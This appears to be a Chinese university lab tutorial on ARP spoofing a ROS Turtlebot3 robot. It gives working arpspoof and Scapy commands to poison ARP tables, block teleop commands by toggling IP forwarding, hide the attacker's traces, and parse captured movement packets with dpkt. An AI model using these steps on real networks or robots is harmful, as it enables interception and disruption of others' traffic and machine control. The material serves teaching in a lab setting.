惟愿言行合一,砥砺前行

0%

ROS|⑦ARP攻击Turtlebot3汉堡Burger并解析移动报文

# ARP攻击

  实验环境推荐:Linux虚拟机×2:Ubuntu 20.04或18.04或kali,被攻击机安装好ROS;

  提升能力环境推荐:不同真机下的Linux虚拟机×2:Ubuntu 20.04或18.04或kali,被攻击机安装好ROS;

  注意:由于校园网的设备数量限制,真机连接校园网,多台虚拟机桥接模式下很可能无法上外网。虽然不影响arp攻击结果,只影响主机和网关通讯。但是仍然建议打开手机使用WiFi信号桥,或者使用流量,或者使用现成的路由器。

Arpspoof占领ARP表

ARP攻击概述

  ARP全称Address Resolution Protocol(地址解析协议),用于在局域网中把IP地址通信转换成MAC地址通信。MAC地址是硬件地址,是物理网卡的编号地址,理论上具有惟一性。在Internet互联网中,访问一个网站要先进行DNS解析,把域名转换成IP,然后通过ARP协议,由IP找到MAC地址。

思考题Q1:为什么不能直接基于MAC地址通信?

为什么不直接使用MAC地址进行通信、为什么不直接使用IP地址通信_shen19960603的博客-CSDN博客

ARP在同个网段下的工作原理:

  每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。当A主机要跟B主机通讯时,会首先检查自己 ARP列表中是否存在B的 IP地址对应的MAC地址,如果有,就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。

例如:

A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

根据上面的所讲的原理,我们简单说明这个过程:A要和B通讯,A就需要知道B的以太网地址,于是A发送一个ARP请求广播(Who is 192.168.10.2? tell 192.168.10.1),当B收到该广播,就检查自己,结果发现和自己的一致,然后就向A发送一个ARP单播应答(192.168.10.2 is at BB-BB-BB-BB-BB-BB)。

详见:ARP协议在同网段及跨网段下的工作原理_L.-CSDN博客_arp 跨网段

ARP攻击实施的依据

  由于主机不加检测地将ARP响应数据包的内容添加到自己的ARP列表中,发送虚假的ARP响应数据包即可错误地引导数据传输。

使用arpspoof妨碍普通主机上网

  了解基本原理之后,我们不加恶意地熟悉一下arpspoof工具。

  Arpspoof是dsniff中的一个组件,因此使用它需要先下载dsniff:

1
sudo apt install dsniff

  下载完成后,执行arpspoof:

1
sudo arpspoof

  -i 用于选择网卡,-t选择目标。

实例:

准备

  攻击前,查看攻击机、目标主机、网关的IP地址、MAC地址:

  相互之间应该可以ping通,如果不可以,请设置桥接模式,然后检查编辑-虚拟网络编辑器-更改设置,将桥接模式的已桥接至改为自己的网卡。

主机名\参数名 IP地址 MAC地址
攻击机 10.21.174.17 00-0C-29-AE-75-24
目标主机 10.21.173.255 00-0C-29-1E-CF-38
网关 10.21.175.254 00-74-9C-7D-FC-93
1
2
3
# 目标主机和攻击机同时打开wireshark监听报文:
sudo apt install wireshark-qt #如果无法连接外网,暂时修改成NAT模式安装,攻击时再改回来
sudo wireshark
欺骗网关
1
2
# 攻击机:
arpspoof -t 10.21.175.254 10.21.173.255 #向网关发送10.21.173.255 is at 00-0C-29-AE-75-24

  攻击机和目标主机的wireshark中均显示(因为发给网关的包会广播给网段):

  (注:此时打开真机上的wireshark,会发现广播包是10.21.173.255 is at 真机MAC地址)

  真机:部分截图如下——

1
2
3
4
5
6
# 目标主机:
ping 同伴的真机IP地址
# 同伴的真机:
arp -a #查看arp列表
# 期望:目标IP->攻击MAC
# 结果:目标IP->真机MAC

思考题Q2:实际上,其他真机的arp列表中,目标主机的ip对应的是真机mac而非虚拟机攻击机的mac地址,这种情况下,如果想用虚拟机攻击其他真机,数据还能成功地导向攻击机吗?如果不能,应该怎样解决这个问题?

提示:出现问题的根本原因是欺骗网关失败,本应由网关发给攻击机的报文被发送到真机上。

如果能再arp欺骗真机,攻击机就能收到其他真实存在的主机的数据包了。

欺骗主机
1
2
# 攻击机:
$ arpspoof -t 10.21.173.255 10.21.175.254 #向目标发送10.21.175.254 is at 00-0C-29-AE-75-24

目标主机:

IP转发

  至此,我们已经成功阻塞了目标主机与网关之间的通讯,将它们之间的通讯数据包全部发送给攻击机。如果在攻击机上开启ip转发,即可将到达攻击机的报文重新正常发送给目标主机和网关:

1
2
3
# 攻击机:
$ sudo -i #切换root用户
$ echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

  这样目标主机就能重新上网了,只是由于IP转发较慢,网速会有一定的影响。

思考题Q3:为什么要持续发送arp报文?

  arp列表过几分钟就自动刷新掉了。可以直接arp -a观察一下,我电脑大概是2分钟。

使用arpspoof妨碍ROS小车和控制机通讯

  接下来我们干扰同网段两机之间的通讯。

  实例:

  攻击前,查看攻击机、目标主机、小车的IP地址、MAC地址:

主机名\参数名 IP****地址 MAC****地址
攻击机 192.168.1.108 00-0C-29-AE-75-24
目标主机 192.168.1.106 00-0C-29-1E-CF-38
小车 192.168.1.102 /
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 目标主机和攻击机同时打开wireshark监听报文: 
sudo wireshark

# 攻击机:
sudo arpspoof -t 192.168.1.102 192.168.1.106 #向小车发送192.168.1.106 is at 00-0C-29-AE-75-24
sudo arpspoof -t 192.168.1.106 192.168.1.102 #向目标发送192.168.1.102 is at 00-0C-29-AE-75-24
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

# 目标主机:
roscore #网络配置以及远程连接一系列问题参考之前的实验
#ssh连接、roscore、roslaunch……
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch #打开键盘控制
# 按w前进,小车前进不受影响;

# 接着攻击机运行下列指令:
sudo -i #切换root用户
echo 0 > /proc/sys/net/ipv4/ip_forward #关闭IP转发
# 目标主机再次按w前进,小车无法前进,没有反应。

# 再开启IP转发,攻击机上打开wireshark抓包,在目标机按w前进。
# 小车移动后,令攻击机停止抓包。

分析报文,判断使小车速度改变的数据包是哪个。

使用Scapy伪造ARP报文

  Scapy是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。

  由于Python语言的特性,它非常简单易学。不过arpspoof等一系列工具实际上是由winpcap或libpcap库编写的,也就是c/c++语言,如果希望提高效率可以在扩展阅读中了解使用libpcap。

1
sudo apt install python3-scapy #下载scapy

伪造Arp报文

  参考:【Python】使用scapy模块编写ARP欺骗脚本 - 云+社区 - 腾讯云 (tencent.com)

  Scapy和python的运行模式一样,可以import导入scapy,写成一个python文件,也可以输入scapy进入交互命令行。下面展示交互命令行,完整代码是作业。

1
sudo scapy #运行scapy

  通过自带的ARP()方法,构造一个arp报文pkt,使用show()方法可以查看报文的详细内容。参数含义已经在图片上标出,这些参数均是字符型。

  我们可以自定义任意字段,例如修改源IP为10.11.71.254,目的IP为10.11.71.54,目的IP的网关可以不填,然后sr1()发送:

  (注:这种发送ARP包的方式仍然会出现Q3的问题,有可能无法直接攻击其他真机)

  发送前后10.11.71.54中的arp列表对比如下:

隐藏攻击痕迹

  可以看到10.11.68.36也被添加到arp列表中了,这显然会暴露攻击意图,造成该现象的原因是没有自定义二次帧头,kali会先发送了广播报文去问谁是10.11.71.54。为了避免这种现象的发生,我们可以通过pkt=Ether()/ARP()构造可以自定义二层帧头的报文,将二层帧头源MAC改成广播地址”ff:ff:ff:ff:ff:ff”(也可以改成别的):

  攻击结果(这次没有10.11.68.36):

  自行编写脚本实现完整的arp欺骗过程。

使用dpkt分析TCP报文

  建立好arp欺骗后,我们用wireshark嗅探攻击机的网络,并保存为carMove.pcap,分析与目标主机相关的tcp报文。(也可直接在目标主机上嗅探)

Tips:嗅探样例如附录一.2所示。其中过滤条件” tcp.stream eq 5”对应的就是一次主机键盘控制小车移动的tcp连接到tcp断开的过程。

准备

  分析报文可以使用python中的dpkt库,安装方式如下:

1
sudo apt install python3-dpkt #下载dpkt

  在TCP首部中有6个标志比特。它们中的多个可同时被设置为1。

  • SYN 同步序号用来发起一个连接
  • ACK 确认序号有效
  • PSH 接收方应该尽快将这个报文段交给应用层
  • FIN 发端完成发送任务
  • RST 重建连接
  • URG 紧急指针有效

  建立连接(三次握手):

有效通讯:

断开连接:

读取并过滤报文

  以下是用到的模块和定义的全局变量。(之后的程序体均需要添加这些模块)

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3
#coding=utf-8
import dpkt # 解析报文的模块
import socket # 解析ip地址的模块
import collections # 有序字典需要的模块
import time # 解析时间格式的模块
file_path='/home/shen/carMove_2.pcap' # 报文所在目录
burger_dst='192.168.1.102' # 小车的ip地址
pkt_len=52 # 移动报文的长度

  用wireshark打开捕获的carMove.pcap,粗略观察可知,小车和主机的通讯基于TCP协议。并且,主机键盘控制小车,是主机192.168.1.108向小车192.168.1.102发送带非空负载数据的报文。
  基于上述三点,我们利用dpkt模块读取carMove.pcap并对报文进行过滤和分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def main():
f = open(file_path,'rb')
#先按.pcap格式解析,若解析不了,则按pcapng格式解析
try:
pcap = dpkt.pcap.Reader(f)
except:
pcap = dpkt.pcapng.Reader(f) #解析pcapng会失败,建议使用scapy库的rdpcap去解析

#当前变量pcap中是按照“间戳:单包”的格式存储着各个单包
#将时间戳和包数据分开,一层一层解析,其中ts是时间戳,buf存放对应的包
for (ts,buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf) #解包,物理层
if not isinstance(eth.data, dpkt.ip.IP): #解包,网络层,判断网络层是否存在,如果不存在则丢弃
continue
ip = eth.data
#将网络地址转换成“.”点隔的字符串格式
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
#解包,判断目的地址是否是小车地址burger_dst,传输层协议是否是TCP,如果不是则丢弃
if not (dst==burger_dst and isinstance(ip.data, dpkt.tcp.TCP)):
continue
tcp = ip.data #传输层负载数据,基本上分析流量的人都是分析这部分数据,即应用层负载流量
#如果应用层负载长度为0,即该包为单纯的tcp包,没有负载,则丢弃
if not len(tcp.data):
continue
#验证结果,打印保存的数据包的抓包以及对应的包的应用层负载长度
print("Length:%d"%len(tcp.data)) #将时间戳转换成日期
#print("Data%s"%tcp.data)#打印传输层负载数据,因为小车数据传输过程中没有加密,所以可以直接打印
except Exception as err:
print("[error] %s" % err)
f.close()
main()

  运行结果如下:

  结合wireshark观察可知,键盘控制的通讯过程是连续且较长的,并且有用的数据包对应的负载数据长度都是52,所以再取长度为52进行过滤。

  将过滤条件if not len(tcp.data)改成if not len(tcp.data)==pkt_len,并将#print(“Data:%s”%tcp.data)的注释删去,打印传输层负载数据,再次运行结果如下:

  为方便数据包的查找,以及适应python2版本,我们向程序中添加时间戳的输出,并增加python2版本的注释完整程序见附录一.2中tcp_3.py。最终结果如下:

(wireshark中的数据)

  至此,我们完成了捕获并分析目的TCP报文全过程。若希望干扰命令的正常运行,可结合pcap模块边捕获边发送篡改后的报文。Tcp中的data段的16进制数据具体含义可通过篡改报文猜测。

扩展阅读 使用libpcap库截获报文

下载libpcap 库,

文件的格式为x.tar.gz。

http://www.tcpdump.org/release/

安装

1、解压文件到你的当前目录

1
tar zxvf x.tar.gz

2、进入刚才解开的libpcap目录,生成Makefile文件

1
sudo ./configure

【配置过程如果出现错误,请查看你是否安装了所有的依赖包bison, m4, flex以及libpcap-dev(安装方法 sudo apt install ****)】

3、将生成的库安装到系统默认目录中。此目录为 /usr/lib ,如果需要修改,可以修改文件Makefile 的 prefix。

1
sudo make install

使用

1、编译选项: gcc 源文件.c **-lpcap** .. -o 输出文件名

2、Warning不用管:

image-20210427233532483

3、测试程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <pcap.h>  
#include <stdio.h>

int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * device;
//look for the net device
device = pcap_lookupdev(errBuf);

if(device)
{
printf("success: device: %s\n", device);
}
else
{
printf("error: %s\n", errBuf);
}

return 0;
}

4、测试程序运行结果:

附录1 可参考文档

1.1 ROS|⑦ARP攻击Turtlebot3汉堡Burger并解析移动报文 | 日暮天无云 (gitee.io)

1.2 arp-course: ARP攻击相关文件 (gitee.com)

1.3 【Python】使用scapy模块编写ARP欺骗脚本 - 云+社区 - 腾讯云 (tencent.com)

1.4【python】dpkt模块快速解析pcap_MK_夕阳的博客-CSDN博客

order.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
######基本欺骗流程######
# 双开
sudo wireshark

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo arpspoof -t 192.168.1.1 192.168.1.106
# 意思: 发送 [ARP] 192.168.1.106 is at 00-0C-29-AE-75-24

# 目标(192.168.1.106 and 00-0C-29-1E-CF-38):
ping 192.168.1.102(其他)
# 其他(192.168.1.102):
arp -a
# 意思:查看arp列表
# 期望:目标IP->攻击MAC
# 结果:目标IP->真机MAC

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo arpspoof -t 192.168.1.106 192.168.1.1
# 意思:发送 [ARP] 192.168.1.1 is at 00-0C-29-AE-75-24

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

######骗小车控制报文######
# 目标主机和攻击机同时打开wireshark监听报文:
sudo wireshark

# 攻击机:
sudo arpspoof -t 192.168.1.102 192.168.1.106 #向小车发送192.168.1.106 is at 00-0C-29-AE-75-24
sudo arpspoof -t 192.168.1.106 192.168.1.102 #向目标发送192.168.1.102 is at 00-0C-29-AE-75-24
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

# 目标主机:
roscore #网络配置以及远程连接一系列问题参考之前的实验
#ssh连接、roscore、roslaunch……
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch #打开键盘控制
# 按w前进,小车前进不受影响;

# 接着攻击机运行下列指令:
sudo -i #切换root用户
echo 0 > /proc/sys/net/ipv4/ip_forward #关闭IP转发
# 目标主机再次按w前进,小车无法前进,没有反应。

# 再开启IP转发,攻击机上打开wireshark抓包,在目标机按w前进。
# 小车移动后,令攻击机停止抓包。
# 分析哪个报文是键盘控制移动报文

######scapy伪造arp报文######
# 攻击:
sudo scapy #运行scapy
pkt=ARP() #用ARP()方法构造ARP报文
pkt.show() #显示报文内容
pkt.psrc=‘192.168.1.1’ #修改报文源地址
pkt.pdst=‘192.168.1.105’ #修改报文目的地址
pkt.op=‘is-at‘ #修改报文类型
sr1(pkt) #发送报文
# 目标:
arp -a

# 攻击:
sudo scapy #运行scapy
pkt=Ether()/ARP()
pkt.show()
pkt.psrc='192.168.1.1'
pkt.pdst='192.168.1.105'
pkt[Ether].dst='ff:ff:ff:ff:ff:ff'
pkt.show()
srp1(pkt)
# 目标:
arp -a

######dpkt分析tcp报文######
#!/usr/bin/python3
#coding=utf-8
import dpkt
import collections #有序字典需要的模块
import time
import socket
file_path='/home/shen/carMove_2.pcap'
burger_dst='192.168.1.102'
pkt_len=52
def main():
f = open(file_path,'rb')
#先按.pcap格式解析,若解析不了,则按pcapng格式解析
try:
pcap = dpkt.pcap.Reader(f)
except:
pcap = dpkt.pcapng.Reader(f) #解析pcapng会失败,建议使用scapy库的rdpcap去解析

#当前变量pcap中是按照“间戳:单包”的格式存储着各个单包
#将时间戳和包数据分开,一层一层解析,其中ts是时间戳,buf存放对应的包
for (ts,buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf) #解包,物理层
if not isinstance(eth.data, dpkt.ip.IP): #解包,网络层,判断网络层是否存在,如果不存在则丢弃
continue
ip = eth.data
#将网络地址转换成“.”点隔的字符串格式
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
#解包,判断目的地址是否是小车地址burger_dst,传输层协议是否是TCP,如果不是则丢弃
if not (dst==burger_dst and isinstance(ip.data, dpkt.tcp.TCP)):
continue
tcp = ip.data #传输层负载数据,基本上分析流量的人都是分析这部分数据,即应用层负载流量
#如果应用层负载长度为0,即该包为单纯的tcp包,没有负载,则丢弃
if not len(tcp.data):
continue
#验证结果,打印保存的数据包的抓包以及对应的包的应用层负载长度
print("Length:%d"%len(tcp.data)) #将时间戳转换成日期
#print("Data%s"%tcp.data)#打印传输层负载数据,因为小车数据传输过程中没有加密,所以可以直接打印
except Exception as err:
print("[error] %s" % err)
f.close()
main()

# 将过滤条件if not len(tcp.data)改成if not len(tcp.data)==pkt_len,并将#print("Data:%s"%tcp.data)的注释删去,打印传输层负载数据

# 添加时间戳的输出,并增加python2版本的注释